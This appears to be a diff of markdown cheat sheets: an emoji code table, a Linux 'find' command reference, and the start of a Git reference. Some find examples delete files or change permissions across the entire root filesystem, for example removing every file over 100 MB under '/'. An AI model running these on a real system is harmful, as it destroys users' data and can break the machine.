| :incoming_envelope: | `:incoming_envelope:` |
|
||||
| :postal_horn: | `:postal_horn:` |
|
||||
| :mailbox_closed: | `:mailbox_closed:` |
|
||||
| :mailbox_with_mail: | `:mailbox_with_mail:` |
|
||||
| :mailbox_with_no_mail: | `:mailbox_with_no_mail:` |
|
||||
| :package: | `:package:` |
|
||||
| :door: | `:door:` |
|
||||
| :smoking: | `:smoking:` |
|
||||
| :bomb: | `:bomb:` |
|
||||
| :gun: | `:gun:` |
|
||||
| :hocho: | `:hocho:` |
|
||||
| :pill: | `:pill:` |
|
||||
| :syringe: | `:syringe:` |
|
||||
| :page_facing_up: | `:page_facing_up:` |
|
||||
| :page_with_curl: | `:page_with_curl:` |
|
||||
| :bookmark_tabs: | `:bookmark_tabs:` |
|
||||
| :bar_chart: | `:bar_chart:` |
|
||||
| :chart_with_upwards_trend: | `:chart_with_upwards_trend:` |
|
||||
| :chart_with_downwards_trend: | `:chart_with_downwards_trend:` |
|
||||
| :scroll: | `:scroll:` |
|
||||
| :clipboard: | `:clipboard:` |
|
||||
| :calendar: | `:calendar:` |
|
||||
| :date: | `:date:` |
|
||||
| :card_index: | `:card_index:` |
|
||||
| :file_folder: | `:file_folder:` |
|
||||
| :open_file_folder: | `:open_file_folder:` |
|
||||
| :scissors: | `:scissors:` |
|
||||
| :pushpin: | `:pushpin:` |
|
||||
| :paperclip: | `:paperclip:` |
|
||||
| :black_nib: | `:black_nib:` |
|
||||
| :pencil2: | `:pencil2:` |
|
||||
| :straight_ruler: | `:straight_ruler:` |
|
||||
| :triangular_ruler: | `:triangular_ruler:` |
|
||||
| :closed_book: | `:closed_book:` |
|
||||
| :green_book: | `:green_book:` |
|
||||
| :blue_book: | `:blue_book:` |
|
||||
| :orange_book: | `:orange_book:` |
|
||||
| :notebook: | `:notebook:` |
|
||||
| :notebook_with_decorative_cover: | `:notebook_with_decorative_cover:` |
|
||||
| :ledger: | `:ledger:` |
|
||||
| :books: | `:books:` |
|
||||
| :bookmark: | `:bookmark:` |
|
||||
| :name_badge: | `:name_badge:` |
|
||||
| :microscope: | `:microscope:` |
|
||||
| :telescope: | `:telescope:` |
|
||||
| :newspaper: | `:newspaper:` |
|
||||
| :football: | `:football:` |
|
||||
| :basketball: | `:basketball:` |
|
||||
| :soccer: | `:soccer:` |
|
||||
| :baseball: | `:baseball:` |
|
||||
| :tennis: | `:tennis:` |
|
||||
| :8ball: | `:8ball:` |
|
||||
| :rugby_football: | `:rugby_football:` |
|
||||
| :bowling: | `:bowling:` |
|
||||
| :golf: | `:golf:` |
|
||||
| :mountain_bicyclist: | `:mountain_bicyclist:` |
|
||||
| :bicyclist: | `:bicyclist:` |
|
||||
| :horse_racing: | `:horse_racing:` |
|
||||
| :snowboarder: | `:snowboarder:` |
|
||||
| :swimmer: | `:swimmer:` |
|
||||
| :surfer: | `:surfer:` |
|
||||
| :ski: | `:ski:` |
|
||||
| :spades: | `:spades:` |
|
||||
| :hearts: | `:hearts:` |
|
||||
| :clubs: | `:clubs:` |
|
||||
| :diamonds: | `:diamonds:` |
|
||||
| :gem: | `:gem:` |
|
||||
| :ring: | `:ring:` |
|
||||
| :trophy: | `:trophy:` |
|
||||
| :musical_score: | `:musical_score:` |
|
||||
| :musical_keyboard: | `:musical_keyboard:` |
|
||||
| :violin: | `:violin:` |
|
||||
| :space_invader: | `:space_invader:` |
|
||||
| :video_game: | `:video_game:` |
|
||||
| :black_joker: | `:black_joker:` |
|
||||
| :flower_playing_cards: | `:flower_playing_cards:` |
|
||||
| :game_die: | `:game_die:` |
|
||||
| :dart: | `:dart:` |
|
||||
| :mahjong: | `:mahjong:` |
|
||||
| :clapper: | `:clapper:` |
|
||||
| :memo: | `:memo:` |
|
||||
| :pencil: | `:pencil:` |
|
||||
| :book: | `:book:` |
|
||||
| :art: | `:art:` |
|
||||
| :microphone: | `:microphone:` |
|
||||
| :headphones: | `:headphones:` |
|
||||
| :trumpet: | `:trumpet:` |
|
||||
| :saxophone: | `:saxophone:` |
|
||||
| :guitar: | `:guitar:` |
|
||||
| :shoe: | `:shoe:` |
|
||||
| :sandal: | `:sandal:` |
|
||||
| :high_heel: | `:high_heel:` |
|
||||
| :lipstick: | `:lipstick:` |
|
||||
| :boot: | `:boot:` |
|
||||
| :shirt: | `:shirt:` |
|
||||
| :tshirt: | `:tshirt:` |
|
||||
| :necktie: | `:necktie:` |
|
||||
| :womans_clothes: | `:womans_clothes:` |
|
||||
| :dress: | `:dress:` |
|
||||
| :running_shirt_with_sash: | `:running_shirt_with_sash:` |
|
||||
| :jeans: | `:jeans:` |
|
||||
| :kimono: | `:kimono:` |
|
||||
| :bikini: | `:bikini:` |
|
||||
| :ribbon: | `:ribbon:` |
|
||||
| :tophat: | `:tophat:` |
|
||||
| :crown: | `:crown:` |
|
||||
| :womans_hat: | `:womans_hat:` |
|
||||
| :mans_shoe: | `:mans_shoe:` |
|
||||
| :closed_umbrella: | `:closed_umbrella:` |
|
||||
| :briefcase: | `:briefcase:` |
|
||||
| :handbag: | `:handbag:` |
|
||||
| :pouch: | `:pouch:` |
|
||||
| :purse: | `:purse:` |
|
||||
| :eyeglasses: | `:eyeglasses:` |
|
||||
| :fishing_pole_and_fish: | `:fishing_pole_and_fish:` |
|
||||
| :coffee: | `:coffee:` |
|
||||
| :tea: | `:tea:` |
|
||||
| :sake: | `:sake:` |
|
||||
| :baby_bottle: | `:baby_bottle:` |
|
||||
| :beer: | `:beer:` |
|
||||
| :beers: | `:beers:` |
|
||||
| :cocktail: | `:cocktail:` |
|
||||
| :tropical_drink: | `:tropical_drink:` |
|
||||
| :wine_glass: | `:wine_glass:` |
|
||||
| :fork_and_knife: | `:fork_and_knife:` |
|
||||
| :pizza: | `:pizza:` |
|
||||
| :hamburger: | `:hamburger:` |
|
||||
| :fries: | `:fries:` |
|
||||
| :poultry_leg: | `:poultry_leg:` |
|
||||
| :meat_on_bone: | `:meat_on_bone:` |
|
||||
| :spaghetti: | `:spaghetti:` |
|
||||
| :curry: | `:curry:` |
|
||||
| :fried_shrimp: | `:fried_shrimp:` |
|
||||
| :bento: | `:bento:` |
|
||||
| :sushi: | `:sushi:` |
|
||||
| :fish_cake: | `:fish_cake:` |
|
||||
| :rice_ball: | `:rice_ball:` |
|
||||
| :rice_cracker: | `:rice_cracker:` |
|
||||
| :rice: | `:rice:` |
|
||||
| :ramen: | `:ramen:` |
|
||||
| :stew: | `:stew:` |
|
||||
| :oden: | `:oden:` |
|
||||
| :dango: | `:dango:` |
|
||||
| :egg: | `:egg:` |
|
||||
| :bread: | `:bread:` |
|
||||
| :doughnut: | `:doughnut:` |
|
||||
| :custard: | `:custard:` |
|
||||
| :icecream: | `:icecream:` |
|
||||
| :ice_cream: | `:ice_cream:` |
|
||||
| :shaved_ice: | `:shaved_ice:` |
|
||||
| :birthday: | `:birthday:` |
|
||||
| :cake: | `:cake:` |
|
||||
| :cookie: | `:cookie:` |
|
||||
| :chocolate_bar: | `:chocolate_bar:` |
|
||||
| :candy: | `:candy:` |
|
||||
| :lollipop: | `:lollipop:` |
|
||||
| :honey_pot: | `:honey_pot:` |
|
||||
| :apple: | `:apple:` |
|
||||
| :green_apple: | `:green_apple:` |
|
||||
| :tangerine: | `:tangerine:` |
|
||||
| :lemon: | `:lemon:` |
|
||||
| :cherries: | `:cherries:` |
|
||||
| :grapes: | `:grapes:` |
|
||||
| :watermelon: | `:watermelon:` |
|
||||
| :strawberry: | `:strawberry:` |
|
||||
| :peach: | `:peach:` |
|
||||
| :melon: | `:melon:` |
|
||||
| :banana: | `:banana:` |
|
||||
| :pear: | `:pear:` |
|
||||
| :pineapple: | `:pineapple:` |
|
||||
| :sweet_potato: | `:sweet_potato:` |
|
||||
| :eggplant: | `:eggplant:` |
|
||||
| :tomato: | `:tomato:` |
|
||||
| :corn: | `:corn:` |
|
||||
{.plus-first}
|
||||
|
||||
|
||||
|
||||
### Places
|
||||
|
||||
| - | - |
|
||||
|---------------------------|-----------------------------|
|
||||
| :house: | `:house:` |
|
||||
| :house_with_garden: | `:house_with_garden:` |
|
||||
| :school: | `:school:` |
|
||||
| :office: | `:office:` |
|
||||
| :post_office: | `:post_office:` |
|
||||
| :hospital: | `:hospital:` |
|
||||
| :bank: | `:bank:` |
|
||||
| :convenience_store: | `:convenience_store:` |
|
||||
| :love_hotel: | `:love_hotel:` |
|
||||
| :hotel: | `:hotel:` |
|
||||
| :wedding: | `:wedding:` |
|
||||
| :church: | `:church:` |
|
||||
| :department_store: | `:department_store:` |
|
||||
| :european_post_office: | `:european_post_office:` |
|
||||
| :city_sunrise: | `:city_sunrise:` |
|
||||
| :city_sunset: | `:city_sunset:` |
|
||||
| :japanese_castle: | `:japanese_castle:` |
|
||||
| :european_castle: | `:european_castle:` |
|
||||
| :tent: | `:tent:` |
|
||||
| :factory: | `:factory:` |
|
||||
| :tokyo_tower: | `:tokyo_tower:` |
|
||||
| :japan: | `:japan:` |
|
||||
| :mount_fuji: | `:mount_fuji:` |
|
||||
| :sunrise_over_mountains: | `:sunrise_over_mountains:` |
|
||||
| :sunrise: | `:sunrise:` |
|
||||
| :stars: | `:stars:` |
|
||||
| :statue_of_liberty: | `:statue_of_liberty:` |
|
||||
| :bridge_at_night: | `:bridge_at_night:` |
|
||||
| :carousel_horse: | `:carousel_horse:` |
|
||||
| :rainbow: | `:rainbow:` |
|
||||
| :ferris_wheel: | `:ferris_wheel:` |
|
||||
| :fountain: | `:fountain:` |
|
||||
| :roller_coaster: | `:roller_coaster:` |
|
||||
| :ship: | `:ship:` |
|
||||
| :speedboat: | `:speedboat:` |
|
||||
| :boat: | `:boat:` |
|
||||
| :sailboat: | `:sailboat:` |
|
||||
| :rowboat: | `:rowboat:` |
|
||||
| :anchor: | `:anchor:` |
|
||||
| :rocket: | `:rocket:` |
|
||||
| :airplane: | `:airplane:` |
|
||||
| :helicopter: | `:helicopter:` |
|
||||
| :steam_locomotive: | `:steam_locomotive:` |
|
||||
| :tram: | `:tram:` |
|
||||
| :mountain_railway: | `:mountain_railway:` |
|
||||
| :bike: | `:bike:` |
|
||||
| :aerial_tramway: | `:aerial_tramway:` |
|
||||
| :suspension_railway: | `:suspension_railway:` |
|
||||
| :mountain_cableway: | `:mountain_cableway:` |
|
||||
| :tractor: | `:tractor:` |
|
||||
| :blue_car: | `:blue_car:` |
|
||||
| :oncoming_automobile: | `:oncoming_automobile:` |
|
||||
| :car: | `:car:` |
|
||||
| :red_car: | `:red_car:` |
|
||||
| :taxi: | `:taxi:` |
|
||||
| :oncoming_taxi: | `:oncoming_taxi:` |
|
||||
| :articulated_lorry: | `:articulated_lorry:` |
|
||||
| :bus: | `:bus:` |
|
||||
| :oncoming_bus: | `:oncoming_bus:` |
|
||||
| :rotating_light: | `:rotating_light:` |
|
||||
| :police_car: | `:police_car:` |
|
||||
| :oncoming_police_car: | `:oncoming_police_car:` |
|
||||
| :fire_engine: | `:fire_engine:` |
|
||||
| :ambulance: | `:ambulance:` |
|
||||
| :minibus: | `:minibus:` |
|
||||
| :truck: | `:truck:` |
|
||||
| :train: | `:train:` |
|
||||
| :station: | `:station:` |
|
||||
| :train2: | `:train2:` |
|
||||
| :bullettrain_front: | `:bullettrain_front:` |
|
||||
| :bullettrain_side: | `:bullettrain_side:` |
|
||||
| :light_rail: | `:light_rail:` |
|
||||
| :monorail: | `:monorail:` |
|
||||
| :railway_car: | `:railway_car:` |
|
||||
| :trolleybus: | `:trolleybus:` |
|
||||
| :ticket: | `:ticket:` |
|
||||
| :fuelpump: | `:fuelpump:` |
|
||||
| :vertical_traffic_light: | `:vertical_traffic_light:` |
|
||||
| :traffic_light: | `:traffic_light:` |
|
||||
| :warning: | `:warning:` |
|
||||
| :construction: | `:construction:` |
|
||||
| :beginner: | `:beginner:` |
|
||||
| :atm: | `:atm:` |
|
||||
| :slot_machine: | `:slot_machine:` |
|
||||
| :busstop: | `:busstop:` |
|
||||
| :barber: | `:barber:` |
|
||||
| :hotsprings: | `:hotsprings:` |
|
||||
| :checkered_flag: | `:checkered_flag:` |
|
||||
| :crossed_flags: | `:crossed_flags:` |
|
||||
| :izakaya_lantern: | `:izakaya_lantern:` |
|
||||
| :moyai: | `:moyai:` |
|
||||
| :circus_tent: | `:circus_tent:` |
|
||||
| :performing_arts: | `:performing_arts:` |
|
||||
| :round_pushpin: | `:round_pushpin:` |
|
||||
| :triangular_flag_on_post: | `:triangular_flag_on_post:` |
|
||||
| :jp: | `:jp:` |
|
||||
| :kr: | `:kr:` |
|
||||
| :cn: | `:cn:` |
|
||||
| :us: | `:us:` |
|
||||
| :fr: | `:fr:` |
|
||||
| :es: | `:es:` |
|
||||
| :it: | `:it:` |
|
||||
| :ru: | `:ru:` |
|
||||
| :gb: | `:gb:` |
|
||||
| :uk: | `:uk:` |
|
||||
| :de: | `:de:` |
|
||||
{.plus-first}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Nature
|
||||
|
||||
| - | - |
|
||||
|--------------------------------|----------------------------------|
|
||||
| :sunny: | `:sunny:` |
|
||||
| :umbrella: | `:umbrella:` |
|
||||
| :cloud: | `:cloud:` |
|
||||
| :snowflake: | `:snowflake:` |
|
||||
| :snowman: | `:snowman:` |
|
||||
| :zap: | `:zap:` |
|
||||
| :cyclone: | `:cyclone:` |
|
||||
| :foggy: | `:foggy:` |
|
||||
| :ocean: | `:ocean:` |
|
||||
| :cat: | `:cat:` |
|
||||
| :dog: | `:dog:` |
|
||||
| :mouse: | `:mouse:` |
|
||||
| :hamster: | `:hamster:` |
|
||||
| :rabbit: | `:rabbit:` |
|
||||
| :wolf: | `:wolf:` |
|
||||
| :frog: | `:frog:` |
|
||||
| :tiger: | `:tiger:` |
|
||||
| :koala: | `:koala:` |
|
||||
| :bear: | `:bear:` |
|
||||
| :pig: | `:pig:` |
|
||||
| :pig_nose: | `:pig_nose:` |
|
||||
| :cow: | `:cow:` |
|
||||
| :boar: | `:boar:` |
|
||||
| :monkey_face: | `:monkey_face:` |
|
||||
| :monkey: | `:monkey:` |
|
||||
| :horse: | `:horse:` |
|
||||
| :racehorse: | `:racehorse:` |
|
||||
| :camel: | `:camel:` |
|
||||
| :sheep: | `:sheep:` |
|
||||
| :elephant: | `:elephant:` |
|
||||
| :panda_face: | `:panda_face:` |
|
||||
| :snake: | `:snake:` |
|
||||
| :bird: | `:bird:` |
|
||||
| :baby_chick: | `:baby_chick:` |
|
||||
| :hatched_chick: | `:hatched_chick:` |
|
||||
| :hatching_chick: | `:hatching_chick:` |
|
||||
| :chicken: | `:chicken:` |
|
||||
| :penguin: | `:penguin:` |
|
||||
| :turtle: | `:turtle:` |
|
||||
| :bug: | `:bug:` |
|
||||
| :honeybee: | `:honeybee:` |
|
||||
| :ant: | `:ant:` |
|
||||
| :beetle: | `:beetle:` |
|
||||
| :snail: | `:snail:` |
|
||||
| :octopus: | `:octopus:` |
|
||||
| :tropical_fish: | `:tropical_fish:` |
|
||||
| :fish: | `:fish:` |
|
||||
| :whale: | `:whale:` |
|
||||
| :whale2: | `:whale2:` |
|
||||
| :dolphin: | `:dolphin:` |
|
||||
| :cow2: | `:cow2:` |
|
||||
| :ram: | `:ram:` |
|
||||
| :rat: | `:rat:` |
|
||||
| :water_buffalo: | `:water_buffalo:` |
|
||||
| :tiger2: | `:tiger2:` |
|
||||
| :rabbit2: | `:rabbit2:` |
|
||||
| :dragon: | `:dragon:` |
|
||||
| :goat: | `:goat:` |
|
||||
| :rooster: | `:rooster:` |
|
||||
| :dog2: | `:dog2:` |
|
||||
| :pig2: | `:pig2:` |
|
||||
| :mouse2: | `:mouse2:` |
|
||||
| :ox: | `:ox:` |
|
||||
| :dragon_face: | `:dragon_face:` |
|
||||
| :blowfish: | `:blowfish:` |
|
||||
| :crocodile: | `:crocodile:` |
|
||||
| :dromedary_camel: | `:dromedary_camel:` |
|
||||
| :leopard: | `:leopard:` |
|
||||
| :cat2: | `:cat2:` |
|
||||
| :poodle: | `:poodle:` |
|
||||
| :paw_prints: | `:paw_prints:` |
|
||||
| :bouquet: | `:bouquet:` |
|
||||
| :cherry_blossom: | `:cherry_blossom:` |
|
||||
| :tulip: | `:tulip:` |
|
||||
| :four_leaf_clover: | `:four_leaf_clover:` |
|
||||
| :rose: | `:rose:` |
|
||||
| :sunflower: | `:sunflower:` |
|
||||
| :hibiscus: | `:hibiscus:` |
|
||||
| :maple_leaf: | `:maple_leaf:` |
|
||||
| :leaves: | `:leaves:` |
|
||||
| :fallen_leaf: | `:fallen_leaf:` |
|
||||
| :herb: | `:herb:` |
|
||||
| :mushroom: | `:mushroom:` |
|
||||
| :cactus: | `:cactus:` |
|
||||
| :palm_tree: | `:palm_tree:` |
|
||||
| :evergreen_tree: | `:evergreen_tree:` |
|
||||
| :deciduous_tree: | `:deciduous_tree:` |
|
||||
| :chestnut: | `:chestnut:` |
|
||||
| :seedling: | `:seedling:` |
|
||||
| :blossom: | `:blossom:` |
|
||||
| :ear_of_rice: | `:ear_of_rice:` |
|
||||
| :shell: | `:shell:` |
|
||||
| :globe_with_meridians: | `:globe_with_meridians:` |
|
||||
| :sun_with_face: | `:sun_with_face:` |
|
||||
| :full_moon_with_face: | `:full_moon_with_face:` |
|
||||
| :new_moon_with_face: | `:new_moon_with_face:` |
|
||||
| :new_moon: | `:new_moon:` |
|
||||
| :waxing_crescent_moon: | `:waxing_crescent_moon:` |
|
||||
| :first_quarter_moon: | `:first_quarter_moon:` |
|
||||
| :waxing_gibbous_moon: | `:waxing_gibbous_moon:` |
|
||||
| :full_moon: | `:full_moon:` |
|
||||
| :waning_gibbous_moon: | `:waning_gibbous_moon:` |
|
||||
| :last_quarter_moon: | `:last_quarter_moon:` |
|
||||
| :waning_crescent_moon: | `:waning_crescent_moon:` |
|
||||
| :last_quarter_moon_with_face: | `:last_quarter_moon_with_face:` |
|
||||
| :first_quarter_moon_with_face: | `:first_quarter_moon_with_face:` |
|
||||
| :crescent_moon: | `:crescent_moon:` |
|
||||
| :earth_africa: | `:earth_africa:` |
|
||||
| :earth_americas: | `:earth_americas:` |
|
||||
| :earth_asia: | `:earth_asia:` |
|
||||
| :volcano: | `:volcano:` |
|
||||
| :milky_way: | `:milky_way:` |
|
||||
| :partly_sunny: | `:partly_sunny:` |
|
||||
| :carrot: | `:carrot:` |
|
||||
{.plus-first}
|
||||
|
||||
@@ -0,0 +1,370 @@
|
||||
---
|
||||
title: Find
|
||||
icon: icon-search
|
||||
date: 2020-12-28 16:52:20
|
||||
tags:
|
||||
- search
|
||||
- file
|
||||
- directory
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: |
|
||||
This is a quick reference list of cheatsheet for linux find command, contains common options and examples.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
---------------
|
||||
|
||||
### Usage
|
||||
|
||||
```shell script
|
||||
$ find [path...] [options] [expression]
|
||||
```
|
||||
|
||||
Wildcard
|
||||
```shell script
|
||||
$ find . -name "*.txt"
|
||||
$ find . -name "2020*.csv"
|
||||
$ find . -name "json_*"
|
||||
```
|
||||
|
||||
----
|
||||
- [Regex reference](/regex) _(quickref.me)_
|
||||
- [Find cheatsheet](https://gist.github.com/gr1ev0us/3a9b9d9dbdd38f6379288eb2686fc538) _(gist.github.com)_
|
||||
|
||||
### Option Examples {.col-span-2}
|
||||
| Option | Example | Description |
|
||||
|-------------|-------------------------------------------|---------------------------------------------|
|
||||
| `-type` | find . -type d | Find only directories |
|
||||
| `-name` | find . -type f -name "*.txt" | Find file by name |
|
||||
| `-iname` | find . -type f -iname "hello" | Find file by name (case-insensitive) |
|
||||
| `-size` | find . -size +1G | Find files larger than 1G |
|
||||
| `-user` | find . -type d -user jack | Find jack's file |
|
||||
| `-regex` | find /var -regex '.\*/tmp/.\*[0-9]*.file' | Using Regex with find. See [regex](/regex) |
|
||||
| `-maxdepth` | find . -maxdepth 1 -name "a.txt" | In the current directory and subdirectories |
|
||||
| `-mindepth` | find / -mindepth 3 -maxdepth 5 -name pass | Between sub-directory level 2 and 4 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### Type
|
||||
| | |
|
||||
|-----------|----------------------|
|
||||
| `-type d` | Directory |
|
||||
| `-type f` | File |
|
||||
| `-type l` | Symbolic link |
|
||||
| `-type b` | Buffered block |
|
||||
| `-type c` | Unbuffered character |
|
||||
| `-type p` | Named pipe |
|
||||
| `-type s` | Socket |
|
||||
|
||||
|
||||
|
||||
### Size
|
||||
| | |
|
||||
|-----------|---------------------------|
|
||||
| `-size b` | 512-byte blocks (default) |
|
||||
| `-size c` | Bytes |
|
||||
| `-size k` | Kilobytes |
|
||||
| `-size M` | Megabytes |
|
||||
| `-size G` | Gigabytes |
|
||||
| `-size T` | Terabytes _(only BSD)_ |
|
||||
| `-size P` | Petabytes _(only BSD)_ |
|
||||
|
||||
### Size +/-
|
||||
|
||||
Find all bigger than 10MB files
|
||||
```shell script
|
||||
$ find / -size +10M
|
||||
```
|
||||
|
||||
Find all smaller than 10MB files
|
||||
```shell script
|
||||
$ find / -size -10M
|
||||
````
|
||||
|
||||
Find all files that are exactly 10M
|
||||
```shell script
|
||||
$ find / -size 10M
|
||||
```
|
||||
|
||||
Find Size between 100MB and 1GB
|
||||
```shell script
|
||||
$ find / -size +100M -size -1G
|
||||
```
|
||||
|
||||
The `+` and `-` prefixes signify greater than and less than, as usual.
|
||||
|
||||
|
||||
|
||||
|
||||
### Names
|
||||
|
||||
Find files using name in current directory
|
||||
```shell script
|
||||
$ find . -name tecmint.txt
|
||||
```
|
||||
|
||||
Find files under home directory
|
||||
|
||||
```shell script
|
||||
$ find /home -name tecmint.txt
|
||||
```
|
||||
|
||||
Find files using name and ignoring case
|
||||
```shell script
|
||||
$ find /home -iname tecmint.txt
|
||||
```
|
||||
|
||||
Find directories using name
|
||||
```shell script
|
||||
$ find / -type d -name tecmint
|
||||
```
|
||||
|
||||
Find php files using name
|
||||
```shell script
|
||||
$ find . -type f -name tecmint.php
|
||||
```
|
||||
|
||||
Find all php files in directory
|
||||
```shell script
|
||||
$ find . -type f -name "*.php"
|
||||
```
|
||||
|
||||
|
||||
### Permissions
|
||||
|
||||
Find the files whose permissions are 777.
|
||||
|
||||
```shell script
|
||||
$ find . -type f -perm 0777 -print
|
||||
```
|
||||
|
||||
Find the files without permission 777.
|
||||
|
||||
```shell script
|
||||
$ find / -type f ! -perm 777
|
||||
```
|
||||
|
||||
Find SUID set files.
|
||||
|
||||
```shell script
|
||||
$ find / -perm /u=s
|
||||
```
|
||||
|
||||
Find SGID set files.
|
||||
|
||||
```shell script
|
||||
$ find / -perm /g=s
|
||||
```
|
||||
|
||||
Find Read Only files.
|
||||
|
||||
```shell script
|
||||
$ find / -perm /u=r
|
||||
```
|
||||
|
||||
Find Executable files.
|
||||
|
||||
```shell script
|
||||
$ find / -perm /a=x
|
||||
```
|
||||
|
||||
|
||||
### Owners and Groups
|
||||
|
||||
Find single file based on user
|
||||
```shell script
|
||||
$ find / -user root -name tecmint.txt
|
||||
```
|
||||
Find all files based on user
|
||||
```shell script
|
||||
$ find /home -user tecmint
|
||||
```
|
||||
Find all files based on group
|
||||
```shell script
|
||||
$ find /home -group developer
|
||||
```
|
||||
Find particular files of user
|
||||
```shell script
|
||||
$ find /home -user tecmint -iname "*.txt"
|
||||
```
|
||||
|
||||
|
||||
### Multiple filenames
|
||||
```shell script {.wrap}
|
||||
$ find . -type f \( -name "*.sh" -o -name "*.txt" \)
|
||||
```
|
||||
Find files with `.sh` and `.txt` extensions
|
||||
|
||||
|
||||
### Multiple dirs
|
||||
|
||||
|
||||
```shell script {.wrap}
|
||||
$ find /opt /usr /var -name foo.scala -type f
|
||||
```
|
||||
Find files with multiple dirs
|
||||
|
||||
|
||||
### Empty
|
||||
```shell script
|
||||
$ find . -type d -empty
|
||||
```
|
||||
|
||||
Delete all empty files in a directory
|
||||
```shell script
|
||||
$ find . -type f -empty -delete
|
||||
```
|
||||
|
||||
|
||||
Find Date and Time {.cols-3}
|
||||
-------------
|
||||
|
||||
|
||||
### Means {.col-span-2}
|
||||
| Option | Description |
|
||||
|---------|-----------------------------------------------------------------|
|
||||
| `atime` | access time (last time file <yel>opened</yel>) |
|
||||
| `mtime` | modified time (last time file <yel>contents was modified</yel>) |
|
||||
| `ctime` | changed time (last time file <yel>inode was changed</yel>) |
|
||||
#### Example
|
||||
| Option | Description |
|
||||
|-----------------|------------------------------------------------------------|
|
||||
| `-mtime +0` | Modified greater than 24 hours ago |
|
||||
| `-mtime 0` | Modified between now and 1 day ago |
|
||||
| `-mtime -1` | Modified less than 1 day ago (same as `-mtime 0`) |
|
||||
| `-mtime 1` | Modified between 24 and 48 hours ago |
|
||||
| `-mtime +1` | Modified more than 48 hours ago |
|
||||
| `-mtime +1w` | Last modified more than 1 week ago |
|
||||
| `-atime 0` | Last accessed between now and 24 hours ago |
|
||||
| `-atime +0` | Accessed more than 24 hours ago |
|
||||
| `-atime 1` | Accessed between 24 and 48 hours ago |
|
||||
| `-atime +1` | Accessed more than 48 hours ago |
|
||||
| `-atime -1` | Accessed less than 24 hours ago (same as `-atime 0`) |
|
||||
| `-ctime -6h30m` | File status changed within the last 6 hours and 30 minutes |
|
||||
|
||||
|
||||
### Examples
|
||||
Find last 50 days modified files
|
||||
```shell script
|
||||
$ find / -mtime 50
|
||||
```
|
||||
find last 50 days accessed files
|
||||
```shell script
|
||||
$ find / -atime 50
|
||||
```
|
||||
find last 50-100 days modified files
|
||||
```shell script
|
||||
$ find / -mtime +50 –mtime -100
|
||||
```
|
||||
find changed files in last 1 hour
|
||||
```shell script
|
||||
$ find / -cmin -60
|
||||
```
|
||||
find modified files in last 1 hour
|
||||
```shell script
|
||||
$ find / -mmin -60
|
||||
```
|
||||
find accessed files in last 1 hour
|
||||
```shell script
|
||||
$ find / -amin -60
|
||||
```
|
||||
|
||||
|
||||
Find and {.cols-2}
|
||||
--------
|
||||
|
||||
|
||||
### Find and delete {.row-span-3}
|
||||
|
||||
Find and remove multiple files
|
||||
|
||||
```shell script
|
||||
$ find . -type f -name "*.mp3" -exec rm -f {} \;
|
||||
```
|
||||
|
||||
Find and remove single file
|
||||
|
||||
```shell script
|
||||
$ find . -type f -name "tecmint.txt" -exec rm -f {} \;
|
||||
```
|
||||
|
||||
|
||||
Find and delete 100mb files
|
||||
```shell script
|
||||
$ find / -type f -size +100m -exec rm -f {} \;
|
||||
```
|
||||
|
||||
Find specific files and delete
|
||||
```shell script
|
||||
$ find / -type f -name *.mp3 -size +10m -exec rm {} \;
|
||||
```
|
||||
|
||||
### Find and replace
|
||||
|
||||
```shell script {.wrap}
|
||||
$ find ./ -type f -exec sed -i 's/find/replace/g' {} \;
|
||||
$ find ./ -type f -readable -writable -exec sed -i "s/old/new/g" {} \;
|
||||
```
|
||||
See also: [sed](/sed) command
|
||||
|
||||
|
||||
### Find and rename
|
||||
```shell script {.wrap}
|
||||
$ find . -type f -name 'file*' -exec mv {} {}_renamed \;
|
||||
$ find . -type f -name 'file*' -exec sh -c 'x="{}"; mv "$x" "${x}.bak"' \;
|
||||
```
|
||||
|
||||
### Find and move
|
||||
```shell script
|
||||
$ find . -name '*.mp3' -exec mv {} /tmp/music \;
|
||||
```
|
||||
Find and move it to a specific directory
|
||||
|
||||
### Find and copy
|
||||
```shell script
|
||||
$ find . -name '*2020*.xml' -exec cp -r "{}" /tmp/backup \;
|
||||
```
|
||||
Find and copy it to a specific directory
|
||||
|
||||
|
||||
### Find and concatenate
|
||||
|
||||
```shell script
|
||||
$ find download -type f -iname '*.csv' | xargs cat > merged.csv
|
||||
$ find download -type f -name '*.gz' -exec cat {} \; > output
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Find and sort
|
||||
|
||||
```shell script
|
||||
$ find . -printf "%T+\t%p\n" | sort
|
||||
$ find . -printf "%T+\t%p\n" | sort -r
|
||||
```
|
||||
|
||||
|
||||
### Find and chmod {.row-span-2}
|
||||
|
||||
Find files and set permissions to 644.
|
||||
|
||||
```shell script
|
||||
$ find / -type f -perm 0777 -print -exec chmod 644 {} \;
|
||||
```
|
||||
|
||||
Find directories and set permissions to 755.
|
||||
|
||||
```shell script
|
||||
$ find / -type d -perm 777 -print -exec chmod 755 {} \;
|
||||
```
|
||||
|
||||
|
||||
### Find and tar
|
||||
```shell script
|
||||
$ find . -type f -name "*.java" | xargs tar cvf myfile.tar
|
||||
$ find . -type f -name "*.java" | xargs tar rvf myfile.tar
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,373 @@
|
||||
---
|
||||
title: Git
|
||||
date: 2020-11-25 18:28:43
|
||||
icon: icon-git
|
||||
background: bg-[#d7593e]
|
||||
tags:
|
||||
- github
|
||||
- gitlab
|
||||
- version
|
||||
- VCS
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: This cheat sheet summarizes commonly used Git command line instructions for quick reference.
|
||||
---
|
||||
|
||||
Getting started {.cols-3}
|
||||
---------------
|
||||
|
||||
### Create a Repository
|
||||
Create a new local repository
|
||||
``` shell script
|
||||
$ git init [project name]
|
||||
```
|
||||
|
||||
Clone a repository
|
||||
``` shell script
|
||||
$ git clone git_url
|
||||
```
|
||||
|
||||
Clone a repository into a specified directory
|
||||
``` shell script
|
||||
$ git clone git_url my_directory
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Make a change {.row-span-2}
|
||||
Show modified files in working directory, staged for your next commit
|
||||
``` shell script
|
||||
$ git status
|
||||
```
|
||||
|
||||
Stages the file, ready for commit
|
||||
``` shell script
|
||||
$ git add [file]
|
||||
```
|
||||
|
||||
Stage all changed files, ready for commit
|
||||
``` shell script
|
||||
$ git add .
|
||||
```
|
||||
|
||||
Commit all staged files to versioned history
|
